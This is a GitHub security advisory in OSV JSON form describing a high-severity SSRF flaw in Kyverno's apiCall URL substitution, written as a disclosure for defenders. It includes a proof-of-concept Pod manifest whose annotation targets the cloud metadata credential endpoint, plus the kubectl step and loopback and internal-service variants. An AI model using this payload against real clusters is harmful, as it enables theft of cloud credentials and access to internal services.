{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.17.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T20:05:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints.\n\nWhen a `ClusterPolicy` uses `apiCall.service.url` with variable substitution (e.g. `{{request.object.*}}`), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions.\n\nThe issue becomes **non-blind SSRF**, as response data from internal services can be reflected back to the user via admission error messages.\n\n---\n\n### Details\n\nKyverno supports variable substitution in `apiCall.service.url`, a documented feature intended to enable dynamic external lookups during admission control.\n\nHowever, the current implementation lacks fundamental safeguards in the HTTP execution path:\n\n#### Missing protections\n\n- **No URL validation**  \n  User-controlled input is directly embedded into the request URL without validation or normalization.\n\n- **No IP filtering**  \n  Requests can target:\n  - Loopback (`127.0.0.1`)\n  - Link-local (`169.254.0.0/16`)\n  - Cloud metadata services (e.g. AWS IMDS)\n  - Internal ClusterIP services\n\n- **Redirect handling not restricted**  \n  The Go HTTP client uses default redirect behavior (`CheckRedirect == nil`), allowing up to 10 redirects without re-validation of the target.\n\n- **Response data reflection in admission errors**  \n  Response bodies are propagated back to the user in admission responses under certain conditions.\n\n#### Non-blind SSRF behavior\n\nThe vulnerability is **non-blind** through two mechanisms:\n\n1. **Non-2xx responses**  \n   Response body is returned in admission error messages (e.g. `executor.go:98-101`)\n\n2. **2xx responses with non-JSON content**  \n   Parsing failures (JSON/JMESPath) include response snippets in error output\n\nThis allows attackers to retrieve data from internal services directly via `kubectl` output.\n\n---\n\n### PoC\n\n#### Preconditions\n\n1. A `ClusterPolicy` using:\n```yaml\napiCall:\n  service:\n    url: \"http://{{ request.object.metadata.annotations.target }}\"\n```\n\n2. An authenticated user able to create matching resources (e.g. Pods)\n\n---\n\n#### Step 1 \u2014 Create malicious resource\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: ssrf-test\n  annotations:\n    target: \"169.254.169.254/latest/meta-data/iam/security-credentials/\"\nspec:\n  containers:\n  - name: test\n    image: nginx\n```\n\n---\n\n#### Step 2 \u2014 Apply resource\n\n```bash\nkubectl apply -f pod.yaml\n```\n\n---\n\n#### Step 3 \u2014 Observe output\n\nExample output:\n\n```text\nError from server: admission webhook \"kyverno\" denied the request:\nfailed to process apiCall: \u003cresponse body from metadata service\u003e\n```\n\n---\n\n#### Variations\n\n- Internal services:\n  http://kubernetes.default.svc\n- Loopback:\n  http://127.0.0.1:8080\n- Redirect chains to bypass naive filters\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Server-Side Request Forgery (SSRF)\n- Non-blind data exfiltration\n\n#### Affected scope\n- Kubernetes clusters using Kyverno policies with `apiCall.service.url` and variable substitution\n\n#### Impact details\n\n- Access to internal services (ClusterIP, localhost)\n- Access to cloud metadata endpoints (e.g. IMDSv1 \u2192 credential exposure)\n- Internal network reconnaissance\n- Multi-tenant boundary weakening\n\nThis issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a **critical attack chain**.",
  "id": "GHSA-qr4g-8hrp-c4rw",
  "modified": "2026-04-14T20:05:52Z",
  "published": "2026-04-14T20:05:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-qr4g-8hrp-c4rw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF"
}